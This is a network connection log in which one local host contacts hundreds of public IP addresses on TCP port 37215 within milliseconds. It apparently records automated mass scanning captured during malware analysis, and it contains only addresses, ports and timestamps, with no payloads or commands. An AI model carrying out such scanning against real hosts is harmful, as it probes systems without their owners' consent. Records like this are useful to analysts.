Sep 25, 2024 14:14:10.125943899 CEST	40848	37215	192.168.2.14	156.231.211.64
Sep 25, 2024 14:14:10.125945091 CEST	43932	37215	192.168.2.14	41.17.167.241
Sep 25, 2024 14:14:10.125957012 CEST	43084	37215	192.168.2.14	156.43.122.92
Sep 25, 2024 14:14:10.125957012 CEST	38842	37215	192.168.2.14	197.117.239.45
Sep 25, 2024 14:14:10.125967979 CEST	38858	37215	192.168.2.14	197.211.194.206
Sep 25, 2024 14:14:10.125976086 CEST	40348	37215	192.168.2.14	41.224.51.184
Sep 25, 2024 14:14:10.125988960 CEST	48122	37215	192.168.2.14	41.186.58.182
Sep 25, 2024 14:14:10.125991106 CEST	51910	37215	192.168.2.14	197.78.160.104
Sep 25, 2024 14:14:10.126012087 CEST	44350	37215	192.168.2.14	156.10.102.1
Sep 25, 2024 14:14:10.126018047 CEST	54292	37215	192.168.2.14	41.7.172.29
Sep 25, 2024 14:14:10.126023054 CEST	50476	37215	192.168.2.14	41.35.202.34
Sep 25, 2024 14:14:10.126036882 CEST	42378	37215	192.168.2.14	41.117.220.87
Sep 25, 2024 14:14:10.126049995 CEST	54340	37215	192.168.2.14	197.44.240.204
Sep 25, 2024 14:14:10.126049995 CEST	33334	37215	192.168.2.14	197.122.68.154
Sep 25, 2024 14:14:10.126055002 CEST	49434	37215	192.168.2.14	197.7.143.124
Sep 25, 2024 14:14:10.126068115 CEST	34358	37215	192.168.2.14	41.205.14.22
Sep 25, 2024 14:14:10.126068115 CEST	47888	37215	192.168.2.14	156.73.176.14
Sep 25, 2024 14:14:10.126082897 CEST	50930	37215	192.168.2.14	156.165.196.119
Sep 25, 2024 14:14:10.126082897 CEST	48234	37215	192.168.2.14	156.24.206.200
Sep 25, 2024 14:14:10.126085997 CEST	41278	37215	192.168.2.14	156.76.35.164
Sep 25, 2024 14:14:10.126099110 CEST	42716	37215	192.168.2.14	41.114.20.185
Sep 25, 2024 14:14:10.126106024 CEST	55230	37215	192.168.2.14	156.218.179.250
Sep 25, 2024 14:14:10.126111984 CEST	37215	56820	156.202.78.248	192.168.2.14
Sep 25, 2024 14:14:10.126113892 CEST	60652	37215	192.168.2.14	197.136.135.76
Sep 25, 2024 14:14:10.126116037 CEST	47344	37215	192.168.2.14	197.53.139.110
Sep 25, 2024 14:14:10.126128912 CEST	37332	37215	192.168.2.14	197.193.248.155
Sep 25, 2024 14:14:10.126136065 CEST	45000	37215	192.168.2.14	197.86.207.86
Sep 25, 2024 14:14:10.126152992 CEST	45458	37215	192.168.2.14	156.36.9.56
Sep 25, 2024 14:14:10.126157045 CEST	52948	37215	192.168.2.14	156.250.70.236
Sep 25, 2024 14:14:10.126168013 CEST	60704	37215	192.168.2.14	41.20.204.217
Sep 25, 2024 14:14:10.126168013 CEST	52504	37215	192.168.2.14	197.239.226.40
Sep 25, 2024 14:14:10.126177073 CEST	45144	37215	192.168.2.14	41.24.178.92
Sep 25, 2024 14:14:10.126180887 CEST	55862	37215	192.168.2.14	41.85.169.189
Sep 25, 2024 14:14:10.126182079 CEST	53440	37215	192.168.2.14	41.0.127.129
Sep 25, 2024 14:14:10.126193047 CEST	35048	37215	192.168.2.14	156.243.133.195
Sep 25, 2024 14:14:10.126213074 CEST	48952	37215	192.168.2.14	197.102.48.75
Sep 25, 2024 14:14:10.126221895 CEST	47694	37215	192.168.2.14	41.96.165.212
Sep 25, 2024 14:14:10.126223087 CEST	48682	37215	192.168.2.14	156.37.55.251
Sep 25, 2024 14:14:10.126230001 CEST	49950	37215	192.168.2.14	197.10.32.113
Sep 25, 2024 14:14:10.126239061 CEST	34236	37215	192.168.2.14	197.226.156.116
Sep 25, 2024 14:14:10.126254082 CEST	45260	37215	192.168.2.14	41.185.117.166
Sep 25, 2024 14:14:10.126260996 CEST	54808	37215	192.168.2.14	41.253.163.98
Sep 25, 2024 14:14:10.126261950 CEST	48786	37215	192.168.2.14	197.108.73.223
Sep 25, 2024 14:14:10.126267910 CEST	60074	37215	192.168.2.14	41.83.106.232
Sep 25, 2024 14:14:10.126277924 CEST	56144	37215	192.168.2.14	41.138.112.209
Sep 25, 2024 14:14:10.126285076 CEST	44726	37215	192.168.2.14	156.122.208.214
Sep 25, 2024 14:14:10.126286983 CEST	52412	37215	192.168.2.14	156.142.59.249
Sep 25, 2024 14:14:10.126296997 CEST	54960	37215	192.168.2.14	41.126.121.77
Sep 25, 2024 14:14:10.126302004 CEST	58066	37215	192.168.2.14	156.205.173.203
Sep 25, 2024 14:14:10.126323938 CEST	49384	37215	192.168.2.14	197.187.150.219
Sep 25, 2024 14:14:10.126337051 CEST	52904	37215	192.168.2.14	156.82.102.137
Sep 25, 2024 14:14:10.126337051 CEST	53680	37215	192.168.2.14	41.177.199.135
Sep 25, 2024 14:14:10.126353025 CEST	55144	37215	192.168.2.14	41.139.101.133
Sep 25, 2024 14:14:10.126363993 CEST	56100	37215	192.168.2.14	156.82.22.251
Sep 25, 2024 14:14:10.126365900 CEST	53622	37215	192.168.2.14	41.213.184.0
Sep 25, 2024 14:14:10.126364946 CEST	39990	37215	192.168.2.14	41.192.9.132
Sep 25, 2024 14:14:10.126368046 CEST	44072	37215	192.168.2.14	156.60.200.195
Sep 25, 2024 14:14:10.126374960 CEST	52538	37215	192.168.2.14	156.159.53.215
Sep 25, 2024 14:14:10.126380920 CEST	48638	37215	192.168.2.14	156.147.64.138
Sep 25, 2024 14:14:10.126398087 CEST	58730	37215	192.168.2.14	156.10.172.17
Sep 25, 2024 14:14:10.126398087 CEST	53022	37215	192.168.2.14	197.103.101.114
Sep 25, 2024 14:14:10.126403093 CEST	32864	37215	192.168.2.14	41.17.224.245
Sep 25, 2024 14:14:10.126413107 CEST	40222	37215	192.168.2.14	156.172.137.208
Sep 25, 2024 14:14:10.126422882 CEST	59068	37215	192.168.2.14	41.216.108.45
Sep 25, 2024 14:14:10.126439095 CEST	50840	37215	192.168.2.14	41.214.110.3
Sep 25, 2024 14:14:10.126446009 CEST	41008	37215	192.168.2.14	197.87.102.75
Sep 25, 2024 14:14:10.126450062 CEST	46004	37215	192.168.2.14	156.79.189.25
Sep 25, 2024 14:14:10.126463890 CEST	49700	37215	192.168.2.14	156.194.100.66
Sep 25, 2024 14:14:10.126470089 CEST	56708	37215	192.168.2.14	156.178.255.27
Sep 25, 2024 14:14:10.126471043 CEST	40532	37215	192.168.2.14	41.190.5.55
Sep 25, 2024 14:14:10.126486063 CEST	60436	37215	192.168.2.14	41.125.117.102
Sep 25, 2024 14:14:10.126498938 CEST	57414	37215	192.168.2.14	156.252.250.218
Sep 25, 2024 14:14:10.126503944 CEST	52608	37215	192.168.2.14	41.149.63.53
Sep 25, 2024 14:14:10.126506090 CEST	36068	37215	192.168.2.14	41.82.43.36
Sep 25, 2024 14:14:10.126517057 CEST	58166	37215	192.168.2.14	197.0.5.179
Sep 25, 2024 14:14:10.126528978 CEST	55086	37215	192.168.2.14	156.189.101.111
Sep 25, 2024 14:14:10.126528978 CEST	47516	37215	192.168.2.14	156.7.11.250
Sep 25, 2024 14:14:10.126547098 CEST	54140	37215	192.168.2.14	197.11.4.247
Sep 25, 2024 14:14:10.126548052 CEST	47750	37215	192.168.2.14	156.217.57.108
Sep 25, 2024 14:14:10.126552105 CEST	40968	37215	192.168.2.14	41.4.254.46
Sep 25, 2024 14:14:10.126562119 CEST	53816	37215	192.168.2.14	41.135.197.14
Sep 25, 2024 14:14:10.126563072 CEST	36254	37215	192.168.2.14	156.207.216.152
Sep 25, 2024 14:14:10.126576900 CEST	52588	37215	192.168.2.14	197.210.89.215
Sep 25, 2024 14:14:10.126585007 CEST	55064	37215	192.168.2.14	156.26.39.47
Sep 25, 2024 14:14:10.126595020 CEST	34192	37215	192.168.2.14	41.30.78.64
Sep 25, 2024 14:14:10.126595020 CEST	55184	37215	192.168.2.14	156.186.222.188
Sep 25, 2024 14:14:10.126610041 CEST	50704	37215	192.168.2.14	41.173.74.236
Sep 25, 2024 14:14:10.126615047 CEST	37888	37215	192.168.2.14	156.42.73.218
Sep 25, 2024 14:14:10.126615047 CEST	39338	37215	192.168.2.14	197.86.239.160
Sep 25, 2024 14:14:10.126616001 CEST	36964	37215	192.168.2.14	197.177.156.30
Sep 25, 2024 14:14:10.126625061 CEST	44318	37215	192.168.2.14	41.177.1.74
Sep 25, 2024 14:14:10.126627922 CEST	37902	37215	192.168.2.14	156.39.222.238
Sep 25, 2024 14:14:10.126636982 CEST	33752	37215	192.168.2.14	156.190.179.85
Sep 25, 2024 14:14:10.126646996 CEST	37324	37215	192.168.2.14	41.114.110.174
Sep 25, 2024 14:14:10.126658916 CEST	45084	37215	192.168.2.14	156.135.251.155
Sep 25, 2024 14:14:10.126667023 CEST	43112	37215	192.168.2.14	197.58.228.114
Sep 25, 2024 14:14:10.126667023 CEST	41700	37215	192.168.2.14	41.165.106.77
Sep 25, 2024 14:14:10.126682997 CEST	58844	37215	192.168.2.14	41.89.167.118
Sep 25, 2024 14:14:10.126683950 CEST	52788	37215	192.168.2.14	197.73.214.226
Sep 25, 2024 14:14:10.126696110 CEST	32944	37215	192.168.2.14	41.134.91.195
Sep 25, 2024 14:14:10.126696110 CEST	53938	37215	192.168.2.14	41.75.87.189
Sep 25, 2024 14:14:10.126713037 CEST	37976	37215	192.168.2.14	197.23.164.92
Sep 25, 2024 14:14:10.126713991 CEST	34500	37215	192.168.2.14	156.137.155.99
Sep 25, 2024 14:14:10.126722097 CEST	37816	37215	192.168.2.14	41.251.248.239
Sep 25, 2024 14:14:10.126737118 CEST	38366	37215	192.168.2.14	197.231.175.245
Sep 25, 2024 14:14:10.126735926 CEST	46784	37215	192.168.2.14	41.2.163.52
Sep 25, 2024 14:14:10.126755953 CEST	43168	37215	192.168.2.14	156.56.63.6
Sep 25, 2024 14:14:10.126770020 CEST	60010	37215	192.168.2.14	197.8.24.240
Sep 25, 2024 14:14:10.126774073 CEST	57964	37215	192.168.2.14	156.150.87.77
Sep 25, 2024 14:14:10.126774073 CEST	54706	37215	192.168.2.14	197.219.223.91
Sep 25, 2024 14:14:10.126841068 CEST	41892	37215	192.168.2.14	197.97.88.153
Sep 25, 2024 14:14:10.127135992 CEST	37215	57076	156.202.78.248	192.168.2.14
Sep 25, 2024 14:14:10.127172947 CEST	57076	37215	192.168.2.14	156.202.78.248
Sep 25, 2024 14:14:10.127501011 CEST	54296	37215	192.168.2.14	41.98.119.45
Sep 25, 2024 14:14:10.128417015 CEST	37215	56118	41.185.23.149	192.168.2.14
Sep 25, 2024 14:14:10.129596949 CEST	37215	56374	41.185.23.149	192.168.2.14
Sep 25, 2024 14:14:10.129628897 CEST	56374	37215	192.168.2.14	41.185.23.149
Sep 25, 2024 14:14:10.129818916 CEST	37215	33496	156.190.179.85	192.168.2.14
Sep 25, 2024 14:14:10.129831076 CEST	37215	44828	156.135.251.155	192.168.2.14
Sep 25, 2024 14:14:10.129853964 CEST	37215	58588	41.89.167.118	192.168.2.14
Sep 25, 2024 14:14:10.129863977 CEST	37215	37068	41.114.110.174	192.168.2.14
Sep 25, 2024 14:14:10.131050110 CEST	34746	37215	192.168.2.14	197.186.28.45
Sep 25, 2024 14:14:10.131136894 CEST	37215	45158	156.129.215.226	192.168.2.14
Sep 25, 2024 14:14:10.131149054 CEST	37215	34736	197.62.234.103	192.168.2.14
Sep 25, 2024 14:14:10.131159067 CEST	37215	42874	156.182.203.125	192.168.2.14
Sep 25, 2024 14:14:10.131179094 CEST	37215	32890	197.4.255.13	192.168.2.14
Sep 25, 2024 14:14:10.131189108 CEST	37215	53956	41.204.214.55	192.168.2.14
Sep 25, 2024 14:14:10.131194115 CEST	42874	37215	192.168.2.14	156.182.203.125
Sep 25, 2024 14:14:10.131194115 CEST	34736	37215	192.168.2.14	197.62.234.103
Sep 25, 2024 14:14:10.131205082 CEST	32890	37215	192.168.2.14	197.4.255.13
Sep 25, 2024 14:14:10.131205082 CEST	45158	37215	192.168.2.14	156.129.215.226
Sep 25, 2024 14:14:10.131221056 CEST	53956	37215	192.168.2.14	41.204.214.55
Sep 25, 2024 14:14:10.131226063 CEST	37215	46834	156.5.157.97	192.168.2.14
Sep 25, 2024 14:14:10.131236076 CEST	37215	57666	41.161.47.162	192.168.2.14
Sep 25, 2024 14:14:10.131247044 CEST	37215	42510	197.172.82.145	192.168.2.14
Sep 25, 2024 14:14:10.131253958 CEST	46834	37215	192.168.2.14	156.5.157.97
Sep 25, 2024 14:14:10.131263971 CEST	57666	37215	192.168.2.14	41.161.47.162
Sep 25, 2024 14:14:10.131315947 CEST	42510	37215	192.168.2.14	197.172.82.145
Sep 25, 2024 14:14:10.131807089 CEST	37215	39746	197.150.60.243	192.168.2.14
Sep 25, 2024 14:14:10.131819010 CEST	37215	57318	197.213.83.147	192.168.2.14
Sep 25, 2024 14:14:10.131829023 CEST	37215	33088	197.137.197.243	192.168.2.14
Sep 25, 2024 14:14:10.131835938 CEST	39746	37215	192.168.2.14	197.150.60.243
Sep 25, 2024 14:14:10.131850958 CEST	57318	37215	192.168.2.14	197.213.83.147
Sep 25, 2024 14:14:10.131851912 CEST	37215	56230	197.22.8.23	192.168.2.14
Sep 25, 2024 14:14:10.131863117 CEST	37215	59376	41.236.198.95	192.168.2.14
Sep 25, 2024 14:14:10.131874084 CEST	37215	53348	197.232.113.246	192.168.2.14
Sep 25, 2024 14:14:10.131894112 CEST	37215	40848	156.231.211.64	192.168.2.14
Sep 25, 2024 14:14:10.131905079 CEST	37215	43084	156.43.122.92	192.168.2.14
Sep 25, 2024 14:14:10.131908894 CEST	53348	37215	192.168.2.14	197.232.113.246
Sep 25, 2024 14:14:10.131918907 CEST	33088	37215	192.168.2.14	197.137.197.243
Sep 25, 2024 14:14:10.131918907 CEST	56230	37215	192.168.2.14	197.22.8.23
Sep 25, 2024 14:14:10.131918907 CEST	59376	37215	192.168.2.14	41.236.198.95
Sep 25, 2024 14:14:10.131922960 CEST	37215	43932	41.17.167.241	192.168.2.14
Sep 25, 2024 14:14:10.131936073 CEST	43084	37215	192.168.2.14	156.43.122.92
Sep 25, 2024 14:14:10.131937027 CEST	40848	37215	192.168.2.14	156.231.211.64
Sep 25, 2024 14:14:10.131972075 CEST	43932	37215	192.168.2.14	41.17.167.241
Sep 25, 2024 14:14:10.131982088 CEST	37215	38842	197.117.239.45	192.168.2.14
Sep 25, 2024 14:14:10.131993055 CEST	37215	38858	197.211.194.206	192.168.2.14
Sep 25, 2024 14:14:10.132003069 CEST	37215	40348	41.224.51.184	192.168.2.14
Sep 25, 2024 14:14:10.132014036 CEST	37215	48122	41.186.58.182	192.168.2.14
Sep 25, 2024 14:14:10.132015944 CEST	38842	37215	192.168.2.14	197.117.239.45
Sep 25, 2024 14:14:10.132025003 CEST	37215	51910	197.78.160.104	192.168.2.14
Sep 25, 2024 14:14:10.132035971 CEST	37215	44350	156.10.102.1	192.168.2.14
Sep 25, 2024 14:14:10.132035971 CEST	38858	37215	192.168.2.14	197.211.194.206
Sep 25, 2024 14:14:10.132035971 CEST	48122	37215	192.168.2.14	41.186.58.182
Sep 25, 2024 14:14:10.132040977 CEST	37215	54292	41.7.172.29	192.168.2.14
Sep 25, 2024 14:14:10.132041931 CEST	40348	37215	192.168.2.14	41.224.51.184
Sep 25, 2024 14:14:10.132051945 CEST	37215	50476	41.35.202.34	192.168.2.14
Sep 25, 2024 14:14:10.132066011 CEST	54292	37215	192.168.2.14	41.7.172.29
Sep 25, 2024 14:14:10.132066965 CEST	51910	37215	192.168.2.14	197.78.160.104
Sep 25, 2024 14:14:10.132069111 CEST	44350	37215	192.168.2.14	156.10.102.1
Sep 25, 2024 14:14:10.132072926 CEST	37215	42378	41.117.220.87	192.168.2.14
Sep 25, 2024 14:14:10.132080078 CEST	50476	37215	192.168.2.14	41.35.202.34
Sep 25, 2024 14:14:10.132083893 CEST	37215	54340	197.44.240.204	192.168.2.14
Sep 25, 2024 14:14:10.132096052 CEST	37215	49434	197.7.143.124	192.168.2.14
Sep 25, 2024 14:14:10.132107019 CEST	37215	33334	197.122.68.154	192.168.2.14
Sep 25, 2024 14:14:10.132108927 CEST	42378	37215	192.168.2.14	41.117.220.87
Sep 25, 2024 14:14:10.132118940 CEST	37215	34358	41.205.14.22	192.168.2.14
Sep 25, 2024 14:14:10.132123947 CEST	37215	47888	156.73.176.14	192.168.2.14
Sep 25, 2024 14:14:10.132128000 CEST	54340	37215	192.168.2.14	197.44.240.204
Sep 25, 2024 14:14:10.132128954 CEST	37215	50930	156.165.196.119	192.168.2.14
Sep 25, 2024 14:14:10.132138968 CEST	49434	37215	192.168.2.14	197.7.143.124
Sep 25, 2024 14:14:10.132148027 CEST	37215	41278	156.76.35.164	192.168.2.14
Sep 25, 2024 14:14:10.132150888 CEST	33334	37215	192.168.2.14	197.122.68.154
Sep 25, 2024 14:14:10.132158041 CEST	34358	37215	192.168.2.14	41.205.14.22
Sep 25, 2024 14:14:10.132159948 CEST	47888	37215	192.168.2.14	156.73.176.14
Sep 25, 2024 14:14:10.132159948 CEST	37215	48234	156.24.206.200	192.168.2.14
Sep 25, 2024 14:14:10.132174969 CEST	37215	42716	41.114.20.185	192.168.2.14
Sep 25, 2024 14:14:10.132188082 CEST	37215	55230	156.218.179.250	192.168.2.14
Sep 25, 2024 14:14:10.132189035 CEST	50930	37215	192.168.2.14	156.165.196.119
Sep 25, 2024 14:14:10.132189035 CEST	48234	37215	192.168.2.14	156.24.206.200
Sep 25, 2024 14:14:10.132189989 CEST	41278	37215	192.168.2.14	156.76.35.164
Sep 25, 2024 14:14:10.132203102 CEST	42716	37215	192.168.2.14	41.114.20.185
Sep 25, 2024 14:14:10.132209063 CEST	37215	60652	197.136.135.76	192.168.2.14
Sep 25, 2024 14:14:10.132213116 CEST	55230	37215	192.168.2.14	156.218.179.250
Sep 25, 2024 14:14:10.132220030 CEST	37215	47344	197.53.139.110	192.168.2.14
Sep 25, 2024 14:14:10.132240057 CEST	37215	37332	197.193.248.155	192.168.2.14
Sep 25, 2024 14:14:10.132241964 CEST	60652	37215	192.168.2.14	197.136.135.76
Sep 25, 2024 14:14:10.132249117 CEST	47344	37215	192.168.2.14	197.53.139.110
Sep 25, 2024 14:14:10.132251024 CEST	37215	45000	197.86.207.86	192.168.2.14
Sep 25, 2024 14:14:10.132261992 CEST	37215	45458	156.36.9.56	192.168.2.14
Sep 25, 2024 14:14:10.132272005 CEST	37215	52948	156.250.70.236	192.168.2.14
Sep 25, 2024 14:14:10.132281065 CEST	37332	37215	192.168.2.14	197.193.248.155
Sep 25, 2024 14:14:10.132281065 CEST	45000	37215	192.168.2.14	197.86.207.86
Sep 25, 2024 14:14:10.132287979 CEST	45458	37215	192.168.2.14	156.36.9.56
Sep 25, 2024 14:14:10.132297039 CEST	37215	60704	41.20.204.217	192.168.2.14
Sep 25, 2024 14:14:10.132309914 CEST	37215	52504	197.239.226.40	192.168.2.14
Sep 25, 2024 14:14:10.132317066 CEST	52948	37215	192.168.2.14	156.250.70.236
Sep 25, 2024 14:14:10.132319927 CEST	37215	45144	41.24.178.92	192.168.2.14
Sep 25, 2024 14:14:10.132328033 CEST	60704	37215	192.168.2.14	41.20.204.217
Sep 25, 2024 14:14:10.132330894 CEST	37215	55862	41.85.169.189	192.168.2.14
Sep 25, 2024 14:14:10.132343054 CEST	37215	53440	41.0.127.129	192.168.2.14
Sep 25, 2024 14:14:10.132344007 CEST	45144	37215	192.168.2.14	41.24.178.92
Sep 25, 2024 14:14:10.132353067 CEST	37215	35048	156.243.133.195	192.168.2.14
Sep 25, 2024 14:14:10.132359028 CEST	52504	37215	192.168.2.14	197.239.226.40
Sep 25, 2024 14:14:10.132359028 CEST	55862	37215	192.168.2.14	41.85.169.189
Sep 25, 2024 14:14:10.132369041 CEST	53440	37215	192.168.2.14	41.0.127.129
Sep 25, 2024 14:14:10.132375956 CEST	37215	48952	197.102.48.75	192.168.2.14
Sep 25, 2024 14:14:10.132385015 CEST	35048	37215	192.168.2.14	156.243.133.195
Sep 25, 2024 14:14:10.132385969 CEST	37215	47694	41.96.165.212	192.168.2.14
Sep 25, 2024 14:14:10.132396936 CEST	37215	48682	156.37.55.251	192.168.2.14
Sep 25, 2024 14:14:10.132407904 CEST	37215	49950	197.10.32.113	192.168.2.14
Sep 25, 2024 14:14:10.132411003 CEST	48952	37215	192.168.2.14	197.102.48.75
Sep 25, 2024 14:14:10.132411957 CEST	47694	37215	192.168.2.14	41.96.165.212
Sep 25, 2024 14:14:10.132420063 CEST	37215	34236	197.226.156.116	192.168.2.14
Sep 25, 2024 14:14:10.132432938 CEST	37215	45260	41.185.117.166	192.168.2.14
Sep 25, 2024 14:14:10.132441998 CEST	48682	37215	192.168.2.14	156.37.55.251
Sep 25, 2024 14:14:10.132443905 CEST	37215	48786	197.108.73.223	192.168.2.14
Sep 25, 2024 14:14:10.132443905 CEST	49950	37215	192.168.2.14	197.10.32.113
Sep 25, 2024 14:14:10.132458925 CEST	34236	37215	192.168.2.14	197.226.156.116
Sep 25, 2024 14:14:10.132462025 CEST	45260	37215	192.168.2.14	41.185.117.166
Sep 25, 2024 14:14:10.132466078 CEST	37215	54808	41.253.163.98	192.168.2.14
Sep 25, 2024 14:14:10.132477045 CEST	37215	60074	41.83.106.232	192.168.2.14
Sep 25, 2024 14:14:10.132487059 CEST	37215	56144	41.138.112.209	192.168.2.14
Sep 25, 2024 14:14:10.132497072 CEST	37215	44726	156.122.208.214	192.168.2.14
Sep 25, 2024 14:14:10.132508039 CEST	37215	52412	156.142.59.249	192.168.2.14
Sep 25, 2024 14:14:10.132509947 CEST	60074	37215	192.168.2.14	41.83.106.232
Sep 25, 2024 14:14:10.132518053 CEST	56144	37215	192.168.2.14	41.138.112.209
Sep 25, 2024 14:14:10.132534027 CEST	54808	37215	192.168.2.14	41.253.163.98
Sep 25, 2024 14:14:10.132534981 CEST	44726	37215	192.168.2.14	156.122.208.214
Sep 25, 2024 14:14:10.132539034 CEST	52412	37215	192.168.2.14	156.142.59.249
Sep 25, 2024 14:14:10.132541895 CEST	48786	37215	192.168.2.14	197.108.73.223
Sep 25, 2024 14:14:10.134030104 CEST	37215	41892	197.97.88.153	192.168.2.14
Sep 25, 2024 14:14:10.134041071 CEST	37215	42856	197.58.228.114	192.168.2.14
Sep 25, 2024 14:14:10.134057999 CEST	37215	54706	197.219.223.91	192.168.2.14
Sep 25, 2024 14:14:10.134068012 CEST	37215	57964	156.150.87.77	192.168.2.14
Sep 25, 2024 14:14:10.134078026 CEST	37215	60010	197.8.24.240	192.168.2.14
Sep 25, 2024 14:14:10.134088039 CEST	37215	43168	156.56.63.6	192.168.2.14
Sep 25, 2024 14:14:10.134099007 CEST	37215	38366	197.231.175.245	192.168.2.14
Sep 25, 2024 14:14:10.134109974 CEST	37215	46784	41.2.163.52	192.168.2.14
Sep 25, 2024 14:14:10.134120941 CEST	37215	37816	41.251.248.239	192.168.2.14
Sep 25, 2024 14:14:10.134131908 CEST	37215	34500	156.137.155.99	192.168.2.14
Sep 25, 2024 14:14:10.134143114 CEST	37215	37976	197.23.164.92	192.168.2.14
Sep 25, 2024 14:14:10.134152889 CEST	37215	53938	41.75.87.189	192.168.2.14
Sep 25, 2024 14:14:10.134162903 CEST	37215	32944	41.134.91.195	192.168.2.14
Sep 25, 2024 14:14:10.134188890 CEST	37215	52788	197.73.214.226	192.168.2.14
Sep 25, 2024 14:14:10.134198904 CEST	37215	58844	41.89.167.118	192.168.2.14
Sep 25, 2024 14:14:10.134208918 CEST	37215	41700	41.165.106.77	192.168.2.14
Sep 25, 2024 14:14:10.134219885 CEST	37215	43112	197.58.228.114	192.168.2.14
Sep 25, 2024 14:14:10.134232044 CEST	37215	45084	156.135.251.155	192.168.2.14
Sep 25, 2024 14:14:10.134243011 CEST	37215	37324	41.114.110.174	192.168.2.14
Sep 25, 2024 14:14:10.134253979 CEST	37215	33752	156.190.179.85	192.168.2.14
Sep 25, 2024 14:14:10.134263992 CEST	37215	37902	156.39.222.238	192.168.2.14
Sep 25, 2024 14:14:10.134274006 CEST	37215	44318	41.177.1.74	192.168.2.14
Sep 25, 2024 14:14:10.134285927 CEST	37215	39338	197.86.239.160	192.168.2.14
Sep 25, 2024 14:14:10.134300947 CEST	37215	37888	156.42.73.218	192.168.2.14
Sep 25, 2024 14:14:10.134305954 CEST	37215	36964	197.177.156.30	192.168.2.14
Sep 25, 2024 14:14:10.134313107 CEST	37215	50704	41.173.74.236	192.168.2.14
Sep 25, 2024 14:14:10.134319067 CEST	37215	34192	41.30.78.64	192.168.2.14
Sep 25, 2024 14:14:10.134325981 CEST	37215	55184	156.186.222.188	192.168.2.14
Sep 25, 2024 14:14:10.134332895 CEST	37215	55064	156.26.39.47	192.168.2.14
Sep 25, 2024 14:14:10.134337902 CEST	37215	52588	197.210.89.215	192.168.2.14
Sep 25, 2024 14:14:10.134341955 CEST	37215	36254	156.207.216.152	192.168.2.14
Sep 25, 2024 14:14:10.134344101 CEST	37215	53816	41.135.197.14	192.168.2.14
Sep 25, 2024 14:14:10.134347916 CEST	37215	40968	41.4.254.46	192.168.2.14
Sep 25, 2024 14:14:10.134351015 CEST	50832	37215	192.168.2.14	156.219.163.0
Sep 25, 2024 14:14:10.134354115 CEST	37215	47750	156.217.57.108	192.168.2.14
Sep 25, 2024 14:14:10.134360075 CEST	37215	54140	197.11.4.247	192.168.2.14
Sep 25, 2024 14:14:10.134366035 CEST	37215	47516	156.7.11.250	192.168.2.14
Sep 25, 2024 14:14:10.134371042 CEST	37215	55086	156.189.101.111	192.168.2.14
Sep 25, 2024 14:14:10.134377956 CEST	37215	58166	197.0.5.179	192.168.2.14
Sep 25, 2024 14:14:10.134380102 CEST	37215	36068	41.82.43.36	192.168.2.14
Sep 25, 2024 14:14:10.134381056 CEST	37215	52608	41.149.63.53	192.168.2.14
Sep 25, 2024 14:14:10.134382963 CEST	37215	57414	156.252.250.218	192.168.2.14
Sep 25, 2024 14:14:10.134383917 CEST	37215	60436	41.125.117.102	192.168.2.14
Sep 25, 2024 14:14:10.134385109 CEST	37215	40532	41.190.5.55	192.168.2.14
Sep 25, 2024 14:14:10.134397984 CEST	37215	56708	156.178.255.27	192.168.2.14
Sep 25, 2024 14:14:10.134408951 CEST	37215	49700	156.194.100.66	192.168.2.14
Sep 25, 2024 14:14:10.134419918 CEST	37215	46004	156.79.189.25	192.168.2.14
Sep 25, 2024 14:14:10.134433985 CEST	37215	41008	197.87.102.75	192.168.2.14
Sep 25, 2024 14:14:10.134439945 CEST	37215	50840	41.214.110.3	192.168.2.14
Sep 25, 2024 14:14:10.134443998 CEST	37215	59068	41.216.108.45	192.168.2.14
Sep 25, 2024 14:14:10.134449005 CEST	37215	40222	156.172.137.208	192.168.2.14
Sep 25, 2024 14:14:10.134452105 CEST	37215	53022	197.103.101.114	192.168.2.14
Sep 25, 2024 14:14:10.134457111 CEST	37215	32864	41.17.224.245	192.168.2.14
Sep 25, 2024 14:14:10.134462118 CEST	37215	58730	156.10.172.17	192.168.2.14
Sep 25, 2024 14:14:10.134470940 CEST	37215	48638	156.147.64.138	192.168.2.14
Sep 25, 2024 14:14:10.134471893 CEST	37215	52538	156.159.53.215	192.168.2.14
Sep 25, 2024 14:14:10.134483099 CEST	37215	44072	156.60.200.195	192.168.2.14
Sep 25, 2024 14:14:10.134495020 CEST	37215	39990	41.192.9.132	192.168.2.14
Sep 25, 2024 14:14:10.134505987 CEST	37215	53622	41.213.184.0	192.168.2.14
Sep 25, 2024 14:14:10.134516954 CEST	37215	56100	156.82.22.251	192.168.2.14
Sep 25, 2024 14:14:10.134526968 CEST	37215	55144	41.139.101.133	192.168.2.14
Sep 25, 2024 14:14:10.134537935 CEST	37215	53680	41.177.199.135	192.168.2.14
Sep 25, 2024 14:14:10.134547949 CEST	37215	52904	156.82.102.137	192.168.2.14
Sep 25, 2024 14:14:10.134557962 CEST	37215	49384	197.187.150.219	192.168.2.14
Sep 25, 2024 14:14:10.134567976 CEST	37215	58066	156.205.173.203	192.168.2.14
Sep 25, 2024 14:14:10.134584904 CEST	37215	54960	41.126.121.77	192.168.2.14
Sep 25, 2024 14:14:10.134593964 CEST	37215	54296	41.98.119.45	192.168.2.14
Sep 25, 2024 14:14:10.134628057 CEST	54296	37215	192.168.2.14	41.98.119.45
Sep 25, 2024 14:14:10.135559082 CEST	37215	54960	41.126.121.77	192.168.2.14
Sep 25, 2024 14:14:10.135597944 CEST	37215	58066	156.205.173.203	192.168.2.14
Sep 25, 2024 14:14:10.135605097 CEST	54960	37215	192.168.2.14	41.126.121.77
Sep 25, 2024 14:14:10.135607958 CEST	37215	49384	197.187.150.219	192.168.2.14
Sep 25, 2024 14:14:10.135629892 CEST	58066	37215	192.168.2.14	156.205.173.203
Sep 25, 2024 14:14:10.135634899 CEST	49384	37215	192.168.2.14	197.187.150.219
Sep 25, 2024 14:14:10.135649920 CEST	37215	52904	156.82.102.137	192.168.2.14
Sep 25, 2024 14:14:10.135689974 CEST	52904	37215	192.168.2.14	156.82.102.137
Sep 25, 2024 14:14:10.135740042 CEST	37215	53680	41.177.199.135	192.168.2.14
Sep 25, 2024 14:14:10.135750055 CEST	37215	55144	41.139.101.133	192.168.2.14
Sep 25, 2024 14:14:10.135761023 CEST	37215	56100	156.82.22.251	192.168.2.14
Sep 25, 2024 14:14:10.135772943 CEST	37215	53622	41.213.184.0	192.168.2.14
Sep 25, 2024 14:14:10.135782957 CEST	37215	39990	41.192.9.132	192.168.2.14
Sep 25, 2024 14:14:10.135787010 CEST	55144	37215	192.168.2.14	41.139.101.133
Sep 25, 2024 14:14:10.135802984 CEST	53680	37215	192.168.2.14	41.177.199.135
Sep 25, 2024 14:14:10.135802984 CEST	53622	37215	192.168.2.14	41.213.184.0
